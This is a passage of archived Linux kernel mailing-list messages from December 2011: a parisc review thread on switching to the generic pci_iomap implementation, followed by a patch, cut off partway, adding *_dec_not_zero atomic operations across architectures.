	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id A842B8EE090;
	Sun,  4 Dec 2011 06:32:25 -0800 (PST)
In-Reply-To: <20111204143000.GB21238@redhat.com>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4052
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4052>

On Sun, 2011-12-04 at 16:30 +0200, Michael S. Tsirkin wrote:
> On Sun, Dec 04, 2011 at 08:22:34AM -0600, James Bottomley wrote:
> > On Sun, 2011-12-04 at 12:48 +0200, Michael S. Tsirkin wrote:
> > > On Thu, Nov 24, 2011 at 10:19:34PM +0200, Michael S. Tsirkin wrote:
> > > > parisc copied pci_iomap from generic code, probably to avoid
> > > > pulling the rest of iomap.c in.  Since that's in
> > > > a separate file now, we can reuse the common implementation.
> > > > 
> > > > Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
> > > 
> > > Sorry to nag, any ACKs/NACKs on the parisc part?
> > > I intend to send this to Linus if there are no
> > > objections. Thanks!
> > 
> > Next time, send the patch to linux-arch or linux-parisc ... it helps to
> > get people to review it. Although this one looks completely trivial,
> > unless I'm missing something?
> 
> I think it's trivial but I don't have the setup to even compile it so
> depend on someone to ack.
> 
> > Obviously there was a bit of a brain fart when this was done: the parisc
> > piece shouldn't be a copy of the generic code: we don't have native i/o
> > ports and emulation is pretty expensive, so we should prefer
> > IORESOURCE_MEM over IORESOURCE_IO when both are available  ... but even
> > on x86, memory mapping is faster (although not by the order of magnitude
> > it is on parisc), so it looks like you could fix this in the generic
> > code.
> > 
> > James
> 
> AFAIK, on PCI a resource is either IO or MEM, but never both.
> What am I missing?

Could be ... I know we've had issues in the past with standard drivers
like the sym53c8xx which map via both and operate far less efficiently
over I/O ... but that could have been different bars I suppose (it's so
long ago that I can't remember).

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH-RFC 07/10] parisc: switch to GENERIC_PCI_IOMAP
Date: Sun, 4 Dec 2011 16:42:37 +0200
Lines: 67
Approved: news@gmane.org
Message-ID: <20111204144236.GA21506@redhat.com>
References: <cover.1322163031.git.mst@redhat.com>
 <9dab609cdf0c22a35f58b0f821a10230a487480d.1322163031.git.mst@redhat.com>
 <20111204104817.GI15464@redhat.com>
 <1323008554.3003.4.camel@dabdike.int.hansenpartnership.com>
 <20111204143000.GB21238@redhat.com>
 <1323009144.3003.6.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1323009674 3853 80.91.229.12 (4 Dec 2011 14:41:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 4 Dec 2011 14:41:14 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 04 15:41:09 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RXDFc-0006nH-Rq
	for glpp-linux-parisc@lo.gmane.org; Sun, 04 Dec 2011 15:41:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753977Ab1LDOlI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Dec 2011 09:41:08 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:3523 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753880Ab1LDOlH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Dec 2011 09:41:07 -0500
Original-Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id pB4EetTx025298
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Sun, 4 Dec 2011 09:40:56 -0500
Original-Received: from redhat.com (vpn-202-5.tlv.redhat.com [10.35.202.5])
	by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id pB4EeqQi026278;
	Sun, 4 Dec 2011 09:40:53 -0500
Content-Disposition: inline
In-Reply-To: <1323009144.3003.6.camel@dabdike.int.hansenpartnership.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4053
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4053>

On Sun, Dec 04, 2011 at 08:32:24AM -0600, James Bottomley wrote:
> On Sun, 2011-12-04 at 16:30 +0200, Michael S. Tsirkin wrote:
> > On Sun, Dec 04, 2011 at 08:22:34AM -0600, James Bottomley wrote:
> > > On Sun, 2011-12-04 at 12:48 +0200, Michael S. Tsirkin wrote:
> > > > On Thu, Nov 24, 2011 at 10:19:34PM +0200, Michael S. Tsirkin wrote:
> > > > > parisc copied pci_iomap from generic code, probably to avoid
> > > > > pulling the rest of iomap.c in.  Since that's in
> > > > > a separate file now, we can reuse the common implementation.
> > > > > 
> > > > > Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
> > > > 
> > > > Sorry to nag, any ACKs/NACKs on the parisc part?
> > > > I intend to send this to Linus if there are no
> > > > objections. Thanks!
> > > 
> > > Next time, send the patch to linux-arch or linux-parisc ... it helps to
> > > get people to review it. Although this one looks completely trivial,
> > > unless I'm missing something?
> > 
> > I think it's trivial but I don't have the setup to even compile it so
> > depend on someone to ack.
> > 
> > > Obviously there was a bit of a brain fart when this was done: the parisc
> > > piece shouldn't be a copy of the generic code: we don't have native i/o
> > > ports and emulation is pretty expensive, so we should prefer
> > > IORESOURCE_MEM over IORESOURCE_IO when both are available  ... but even
> > > on x86, memory mapping is faster (although not by the order of magnitude
> > > it is on parisc), so it looks like you could fix this in the generic
> > > code.
> > > 
> > > James
> > 
> > AFAIK, on PCI a resource is either IO or MEM, but never both.
> > What am I missing?
> 
> Could be ... I know we've had issues in the past with standard drivers
> like the sym53c8xx which map via both and operate far less efficiently
> over I/O ... but that could have been different bars I suppose (it's so
> long ago that I can't remember).

Probably, it looks like it has both mmio and io:

drivers/scsi/sym53c8xx_2/sym_glue.c

#ifdef CONFIG_SCSI_SYM53C8XX_MMIO
        if (device->mmio_base)
                device->s.ioaddr = pci_iomap(pdev, 1,
                                                pci_resource_len(pdev, 1));
#endif
        if (!device->s.ioaddr)
                device->s.ioaddr = pci_iomap(pdev, 0,
                                                pci_resource_len(pdev, 0));


so ... ACK?

> 
> James
> 

-- 
MSt
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sven Eckelmann <sven@narfation.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.org.freifunk.batman,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.ports.hexagon
Subject: [PATCHv5] atomic: add *_dec_not_zero
Date: Sun,  4 Dec 2011 16:42:49 +0100
Lines: 541
Approved: news@gmane.org
Message-ID: <1323013369-29691-1-git-send-email-sven@narfation.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1323013467 30598 80.91.229.12 (4 Dec 2011 15:44:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 4 Dec 2011 15:44:27 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, b.a.t.m.a.n@lists.open-mesh.org,
        Sven Eckelmann <sven@narfation.org>,
        Randy Dunlap <rdunlap@xenotime.net>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@arm.linux.org.uk>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Hirokazu Takata <takata@linux-m32r.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        linux390@de.ibm.com, "David S. Miller"
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-mips-bounce@linux-mips.org Sun Dec 04 16:44:13 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1RXEEe-0000dQ-TH
	for sgi-linux-mips@gmane.org; Sun, 04 Dec 2011 16:44:13 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:46812 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1903601Ab1LDPoG (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Sun, 4 Dec 2011 16:44:06 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 04 Dec 2011 16:43:49 +0100 (CET)
Original-Received: from narfation.org ([79.140.41.39]:38038 "EHLO v3-1039.vlinux.de"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S1903599Ab1LDPnh (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Sun, 4 Dec 2011 16:43:37 +0100
Original-Received: from sven-desktop.home.narfation.org (i59F6CF54.versanet.de [89.246.207.84])
        by v3-1039.vlinux.de (Postfix) with ESMTPSA id 0F76E94020;
        Sun,  4 Dec 2011 16:45:16 +0100 (CET)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=narfation.org; s=mail;
        t=1323013518; bh=ljJU4DziTxk3aZj9c1odmffc5pR06NzuWNrMqiDNdWY=;
        h=From:To:Cc:Subject:Date:Message-Id;
        b=lgFswlTZ7diGibeNubwa7JNi/sz3sRApRaEW28Eh0K3K8xGbLTyGx3Der8Xt2plb/
         nGlj/Zk0S1mTjxRTH+FAes1skf7cERNu7f6WYDn2ReYpTrTPj1RDOnsENp/c5dThkA
         XG6BE7f8Rr41YZwBi35OBB+9hnA0+jAyeAyNCSGc=
X-Mailer: git-send-email 1.7.7.3
X-archive-position: 32021
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: sven@narfation.org
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:33122 gmane.linux.kernel.cross-arch:11632 gmane.org.freifunk.batman:5762 gmane.linux.documentation:3652 gmane.linux.kernel:1223998 gmane.linux.ports.alpha:1601 gmane.linux.ports.arm.kernel:142585 gmane.linux.ports.ia64:21904 gmane.linux.ports.parisc:4054 gmane.linux.ports.ppc64.devel:78799 gmane.linux.ports.sparc:15529 gmane.linux.uml.devel:13284 gmane.linux.ports.hexagon:346
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/33122>

Introduce an *_dec_not_zero operation.  Make this a special case of
*_add_unless because batman-adv uses atomic_dec_not_zero in different
places like re-broadcast queue or aggregation queue management. There
are other non-final patches which may also want to use this macro.

Suggested-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Sven Eckelmann <sven@narfation.org>
Cc: Randy Dunlap <rdunlap@xenotime.net>
Cc: Richard Henderson <rth@twiddle.net>
Cc: Ivan Kokshaysky <ink@jurassic.park.msu.ru>
Cc: Matt Turner <mattst88@gmail.com>
Cc: Russell King <linux@arm.linux.org.uk>
Cc: Tony Luck <tony.luck@intel.com>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Cc: Hirokazu Takata <takata@linux-m32r.org>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Cc: Paul Mackerras <paulus@samba.org>
Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: linux390@de.ibm.com
Cc: "David S. Miller" <davem@davemloft.net>
Cc: Chris Metcalf <cmetcalf@tilera.com>
Cc: Jeff Dike <jdike@addtoit.com>
Cc: Richard Weinberger <richard@nod.at>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: "H. Peter Anvin" <hpa@zytor.com>
Cc: x86@kernel.org
Cc: Arnd Bergmann <arnd@arndb.de>
Cc: linux-doc@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-alpha@vger.kernel.org
Cc: linux-arm-kernel@lists.infradead.org
Cc: linux-ia64@vger.kernel.org
Cc: linux-m32r@ml.linux-m32r.org
Cc: linux-m32r-ja@ml.linux-m32r.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: sparclinux@vger.kernel.org
Cc: user-mode-linux-devel@lists.sourceforge.net
Cc: linux-hexagon@vger.kernel.org
---
David S. Miller recommended this change in
 https://lists.open-mesh.org/pipermail/b.a.t.m.a.n/2011-May/004560.html

Arnd Bergmann wanted to apply it in 201106172320.26476.arnd@arndb.de

... and then Arun Sharma created a big merge conflict with
https://lkml.org/lkml/2011/6/6/430

I don't think that it is a a good idea to assume that everyone still
agrees with the patch after I've rewritten it. I try Andrew Morton this
time because he applied the last changes to include/linux/atomic.h.
There are already two projects (batman-adv/fault_inject) which include
their private definition (not conflicting) and I have patches for 9
other modules that could use it.


 Documentation/atomic_ops.txt       |    1 +
 arch/alpha/include/asm/atomic.h    |    1 +
 arch/alpha/include/asm/local.h     |    1 +
 arch/arm/include/asm/atomic.h      |    1 +
 arch/hexagon/include/asm/atomic.h  |    1 +
 arch/ia64/include/asm/atomic.h     |    1 +
 arch/m32r/include/asm/local.h      |    1 +
 arch/mips/include/asm/atomic.h     |    1 +
 arch/mips/include/asm/local.h      |    1 +
 arch/parisc/include/asm/atomic.h   |    1 +
 arch/powerpc/include/asm/atomic.h  |    1 +
 arch/powerpc/include/asm/local.h   |    1 +
 arch/s390/include/asm/atomic.h     |    1 +
 arch/sparc/include/asm/atomic_64.h |    1 +
 arch/tile/include/asm/atomic_32.h  |    1 +
 arch/tile/include/asm/atomic_64.h  |    1 +
 arch/x86/include/asm/atomic64_32.h |   12 ++++++++++++
 arch/x86/include/asm/atomic64_64.h |    1 +
 arch/x86/include/asm/local.h       |    1 +
 arch/x86/lib/atomic64_32.c         |    4 ++++
 arch/x86/lib/atomic64_386_32.S     |   21 +++++++++++++++++++++
 arch/x86/lib/atomic64_cx8_32.S     |   28 ++++++++++++++++++++++++++++
 include/asm-generic/atomic-long.h  |    2 ++
 include/asm-generic/atomic64.h     |    1 +
 include/asm-generic/local.h        |    1 +
 include/asm-generic/local64.h      |    2 ++
 include/linux/atomic.h             |    9 +++++++++
 lib/atomic64_test.c                |   19 +++++++++++++++++++
 28 files changed, 117 insertions(+), 0 deletions(-)

diff --git a/Documentation/atomic_ops.txt b/Documentation/atomic_ops.txt
index 3bd585b..1eec221 100644
--- a/Documentation/atomic_ops.txt
+++ b/Documentation/atomic_ops.txt
@@ -190,6 +190,7 @@ atomic_add_unless requires explicit memory barriers around the operation
 unless it fails (returns 0).
 
 atomic_inc_not_zero, equivalent to atomic_add_unless(v, 1, 0)
+atomic_dec_not_zero, equivalent to atomic_add_unless(v, -1, 0)
 
 
 If a caller requires memory barrier semantics around an atomic_t
diff --git a/arch/alpha/include/asm/atomic.h b/arch/alpha/include/asm/atomic.h
index 640f909..09d1571 100644
--- a/arch/alpha/include/asm/atomic.h
+++ b/arch/alpha/include/asm/atomic.h
@@ -225,6 +225,7 @@ static __inline__ int atomic64_add_unless(atomic64_t *v, long a, long u)
 }
 
 #define atomic64_inc_not_zero(v) atomic64_add_unless((v), 1, 0)
+#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
 
 #define atomic_add_negative(a, v) (atomic_add_return((a), (v)) < 0)
 #define atomic64_add_negative(a, v) (atomic64_add_return((a), (v)) < 0)
diff --git a/arch/alpha/include/asm/local.h b/arch/alpha/include/asm/local.h
index 9c94b84..51eb678 100644
--- a/arch/alpha/include/asm/local.h
+++ b/arch/alpha/include/asm/local.h
@@ -79,6 +79,7 @@ static __inline__ long local_sub_return(long i, local_t * l)
 	c != (u);						\
 })
 #define local_inc_not_zero(l) local_add_unless((l), 1, 0)
+#define local_dec_not_zero(l) local_add_unless((l), -1, 0)
 
 #define local_add_negative(a, l) (local_add_return((a), (l)) < 0)
 
diff --git a/arch/arm/include/asm/atomic.h b/arch/arm/include/asm/atomic.h
index 86976d0..80ed975 100644
--- a/arch/arm/include/asm/atomic.h
+++ b/arch/arm/include/asm/atomic.h
@@ -458,6 +458,7 @@ static inline int atomic64_add_unless(atomic64_t *v, u64 a, u64 u)
 #define atomic64_dec_return(v)		atomic64_sub_return(1LL, (v))
 #define atomic64_dec_and_test(v)	(atomic64_dec_return((v)) == 0)
 #define atomic64_inc_not_zero(v)	atomic64_add_unless((v), 1LL, 0LL)
+#define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1LL, 0LL)
 
 #endif /* !CONFIG_GENERIC_ATOMIC64 */
 #endif
diff --git a/arch/hexagon/include/asm/atomic.h b/arch/hexagon/include/asm/atomic.h
index e220f90..3a1a33a 100644
--- a/arch/hexagon/include/asm/atomic.h
+++ b/arch/hexagon/include/asm/atomic.h
@@ -148,6 +148,7 @@ static inline int __atomic_add_unless(atomic_t *v, int a, int u)
 }
 
 #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
+#define atomic_dec_not_zero(v) atomic_add_unless((v), -1, 0)
 
 #define atomic_inc(v) atomic_add(1, (v))
 #define atomic_dec(v) atomic_sub(1, (v))
diff --git a/arch/ia64/include/asm/atomic.h b/arch/ia64/include/asm/atomic.h
index 3fad89e..af6e9b2 100644
--- a/arch/ia64/include/asm/atomic.h
+++ b/arch/ia64/include/asm/atomic.h
@@ -122,6 +122,7 @@ static __inline__ long atomic64_add_unless(atomic64_t *v, long a, long u)
 }
 
 #define atomic64_inc_not_zero(v) atomic64_add_unless((v), 1, 0)
+#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
 
 #define atomic_add_return(i,v)						\
 ({									\
diff --git a/arch/m32r/include/asm/local.h b/arch/m32r/include/asm/local.h
index 734bca8..d536082 100644
--- a/arch/m32r/include/asm/local.h
+++ b/arch/m32r/include/asm/local.h
@@ -272,6 +272,7 @@ static inline int local_add_unless(local_t *l, long a, long u)
 }
 
 #define local_inc_not_zero(l) local_add_unless((l), 1, 0)
+#define local_dec_not_zero(l) local_add_unless((l), -1, 0)
 
 static inline void local_clear_mask(unsigned long  mask, local_t *addr)
 {
diff --git a/arch/mips/include/asm/atomic.h b/arch/mips/include/asm/atomic.h
index 1d93f81..babb043 100644
--- a/arch/mips/include/asm/atomic.h
+++ b/arch/mips/include/asm/atomic.h
@@ -697,6 +697,7 @@ static __inline__ int atomic64_add_unless(atomic64_t *v, long a, long u)
 }
 
 #define atomic64_inc_not_zero(v) atomic64_add_unless((v), 1, 0)
+#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
 
 #define atomic64_dec_return(v) atomic64_sub_return(1, (v))
 #define atomic64_inc_return(v) atomic64_add_return(1, (v))
diff --git a/arch/mips/include/asm/local.h b/arch/mips/include/asm/local.h
index 94fde8d..0242256 100644
--- a/arch/mips/include/asm/local.h
+++ b/arch/mips/include/asm/local.h
@@ -137,6 +137,7 @@ static __inline__ long local_sub_return(long i, local_t * l)
 	c != (u);						\
 })
 #define local_inc_not_zero(l) local_add_unless((l), 1, 0)
+#define local_dec_not_zero(l) local_add_unless((l), -1, 0)
 
 #define local_dec_return(l) local_sub_return(1, (l))
 #define local_inc_return(l) local_add_return(1, (l))
diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
index 4054b31..57b7069 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -334,6 +334,7 @@ static __inline__ int atomic64_add_unless(atomic64_t *v, long a, long u)
 }
 
 #define atomic64_inc_not_zero(v) atomic64_add_unless((v), 1, 0)
+#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
 
 #endif /* !CONFIG_64BIT */
 
diff --git a/arch/powerpc/include/asm/atomic.h b/arch/powerpc/include/asm/atomic.h
index 02e41b5..0798420 100644
--- a/arch/powerpc/include/asm/atomic.h
+++ b/arch/powerpc/include/asm/atomic.h
@@ -468,6 +468,7 @@ static __inline__ int atomic64_add_unless(atomic64_t *v, long a, long u)
 }
 
 #define atomic64_inc_not_zero(v) atomic64_add_unless((v), 1, 0)
+#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
 
 #endif /* __powerpc64__ */
 
diff --git a/arch/powerpc/include/asm/local.h b/arch/powerpc/include/asm/local.h
index b8da913..d182e34 100644
--- a/arch/powerpc/include/asm/local.h
+++ b/arch/powerpc/include/asm/local.h
@@ -134,6 +134,7 @@ static __inline__ int local_add_unless(local_t *l, long a, long u)
 }
 
 #define local_inc_not_zero(l) local_add_unless((l), 1, 0)
+#define local_dec_not_zero(l) local_add_unless((l), -1, 0)
 
 #define local_sub_and_test(a, l)	(local_sub_return((a), (l)) == 0)
 #define local_dec_and_test(l)		(local_dec_return((l)) == 0)
diff --git a/arch/s390/include/asm/atomic.h b/arch/s390/include/asm/atomic.h
index 8517d2a..92e7d5d 100644
--- a/arch/s390/include/asm/atomic.h
+++ b/arch/s390/include/asm/atomic.h
@@ -325,6 +325,7 @@ static inline long long atomic64_dec_if_positive(atomic64_t *v)
 #define atomic64_dec_return(_v)		atomic64_sub_return(1, _v)
 #define atomic64_dec_and_test(_v)	(atomic64_sub_return(1, _v) == 0)
 #define atomic64_inc_not_zero(v)	atomic64_add_unless((v), 1, 0)
+#define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1, 0)
 
 #define smp_mb__before_atomic_dec()	smp_mb()
 #define smp_mb__after_atomic_dec()	smp_mb()
diff --git a/arch/sparc/include/asm/atomic_64.h b/arch/sparc/include/asm/atomic_64.h
index 9f421df..94cf160 100644
--- a/arch/sparc/include/asm/atomic_64.h
+++ b/arch/sparc/include/asm/atomic_64.h
@@ -106,6 +106,7 @@ static inline long atomic64_add_unless(atomic64_t *v, long a, long u)
 }
 
 #define atomic64_inc_not_zero(v) atomic64_add_unless((v), 1, 0)
+#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
 
 /* Atomic operations are already serializing */
 #define smp_mb__before_atomic_dec()	barrier()
diff --git a/arch/tile/include/asm/atomic_32.h b/arch/tile/include/asm/atomic_32.h
index c03349e..9cfafb3 100644
--- a/arch/tile/include/asm/atomic_32.h
+++ b/arch/tile/include/asm/atomic_32.h
@@ -233,6 +233,7 @@ static inline void atomic64_set(atomic64_t *v, u64 n)
 #define atomic64_dec_return(v)		atomic64_sub_return(1LL, (v))
 #define atomic64_dec_and_test(v)	(atomic64_dec_return((v)) == 0)
 #define atomic64_inc_not_zero(v)	atomic64_add_unless((v), 1LL, 0LL)
+#define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1LL, 0LL)
 
 /*
  * We need to barrier before modifying the word, since the _atomic_xxx()
diff --git a/arch/tile/include/asm/atomic_64.h b/arch/tile/include/asm/atomic_64.h
index 27fe667..9c22f50 100644
--- a/arch/tile/include/asm/atomic_64.h
+++ b/arch/tile/include/asm/atomic_64.h
@@ -141,6 +141,7 @@ static inline long atomic64_add_unless(atomic64_t *v, long a, long u)
 #define atomic64_add_negative(i, v)	(atomic64_add_return((i), (v)) < 0)
 
 #define atomic64_inc_not_zero(v)	atomic64_add_unless((v), 1, 0)
+#define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1, 0)
 
 /* Atomic dec and inc don't implement barrier, so provide them if needed. */
 #define smp_mb__before_atomic_dec()	smp_mb()
diff --git a/arch/x86/include/asm/atomic64_32.h b/arch/x86/include/asm/atomic64_32.h
index 24098aa..3cd4431 100644
--- a/arch/x86/include/asm/atomic64_32.h
+++ b/arch/x86/include/asm/atomic64_32.h
@@ -287,6 +287,18 @@ static inline int atomic64_inc_not_zero(atomic64_t *v)
 	return r;
 }
 
+
+static inline int atomic64_dec_not_zero(atomic64_t *v)
+{
+	int r;
+	asm volatile(ATOMIC64_ALTERNATIVE(dec_not_zero)
+		     : "=a" (r)
+		     : "S" (v)
+		     : "ecx", "edx", "memory"
+		     );
+	return r;
+}
+
 static inline long long atomic64_dec_if_positive(atomic64_t *v)
 {
 	long long r;
diff --git a/arch/x86/include/asm/atomic64_64.h b/arch/x86/include/asm/atomic64_64.h
index 0e1cbfc..539e41b 100644
--- a/arch/x86/include/asm/atomic64_64.h
+++ b/arch/x86/include/asm/atomic64_64.h
@@ -216,6 +216,7 @@ static inline int atomic64_add_unless(atomic64_t *v, long a, long u)
 }
 
 #define atomic64_inc_not_zero(v) atomic64_add_unless((v), 1, 0)
+#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
 
 /*
  * atomic64_dec_if_positive - decrement by 1 if old value positive
diff --git a/arch/x86/include/asm/local.h b/arch/x86/include/asm/local.h
index 9cdae5d..2c8c92d 100644
--- a/arch/x86/include/asm/local.h
+++ b/arch/x86/include/asm/local.h
@@ -185,6 +185,7 @@ static inline long local_sub_return(long i, local_t *l)
 	c != (u);						\
 })
 #define local_inc_not_zero(l) local_add_unless((l), 1, 0)
+#define local_dec_not_zero(l) local_add_unless((l), -1, 0)
 
 /* On x86_32, these are no better than the atomic variants.
  * On x86-64 these are better than the atomic variants on SMP kernels
diff --git a/arch/x86/lib/atomic64_32.c b/arch/x86/lib/atomic64_32.c
index 042f682..7da05c3 100644
--- a/arch/x86/lib/atomic64_32.c
+++ b/arch/x86/lib/atomic64_32.c
@@ -24,6 +24,8 @@ long long atomic64_dec_if_positive_cx8(atomic64_t *v);
 EXPORT_SYMBOL(atomic64_dec_if_positive_cx8);
 int atomic64_inc_not_zero_cx8(atomic64_t *v);
 EXPORT_SYMBOL(atomic64_inc_not_zero_cx8);
+int atomic64_dec_not_zero_cx8(atomic64_t *v);
+EXPORT_SYMBOL(atomic64_dec_not_zero_cx8);
 int atomic64_add_unless_cx8(atomic64_t *v, long long a, long long u);
 EXPORT_SYMBOL(atomic64_add_unless_cx8);
 
@@ -54,6 +56,8 @@ long long atomic64_dec_if_positive_386(atomic64_t *v);
 EXPORT_SYMBOL(atomic64_dec_if_positive_386);
 int atomic64_inc_not_zero_386(atomic64_t *v);
 EXPORT_SYMBOL(atomic64_inc_not_zero_386);
+int atomic64_dec_not_zero_386(atomic64_t *v);
+EXPORT_SYMBOL(atomic64_dec_not_zero_386);
 int atomic64_add_unless_386(atomic64_t *v, long long a, long long u);
 EXPORT_SYMBOL(atomic64_add_unless_386);
 #endif
diff --git a/arch/x86/lib/atomic64_386_32.S b/arch/x86/lib/atomic64_386_32.S
index e8e7e0d..c78337b 100644
--- a/arch/x86/lib/atomic64_386_32.S
+++ b/arch/x86/lib/atomic64_386_32.S
@@ -181,6 +181,27 @@ ENDP
 #undef v
 
 #define v %esi
+BEGIN(dec_not_zero)
+	movl  (v), %eax
+	movl 4(v), %edx
+	testl %eax, %eax
+	je 3f
+1:
+	subl $1, %eax
+	sbbl $0, %edx
+	movl %eax,  (v)
+	movl %edx, 4(v)
+	movl $1, %eax
+2:
+	RET
+3:
+	testl %edx, %edx
+	jne 1b
+	jmp 2b
+ENDP
+#undef v
+
+#define v %esi
 BEGIN(dec_if_positive)
 	movl  (v), %eax
 	movl 4(v), %edx
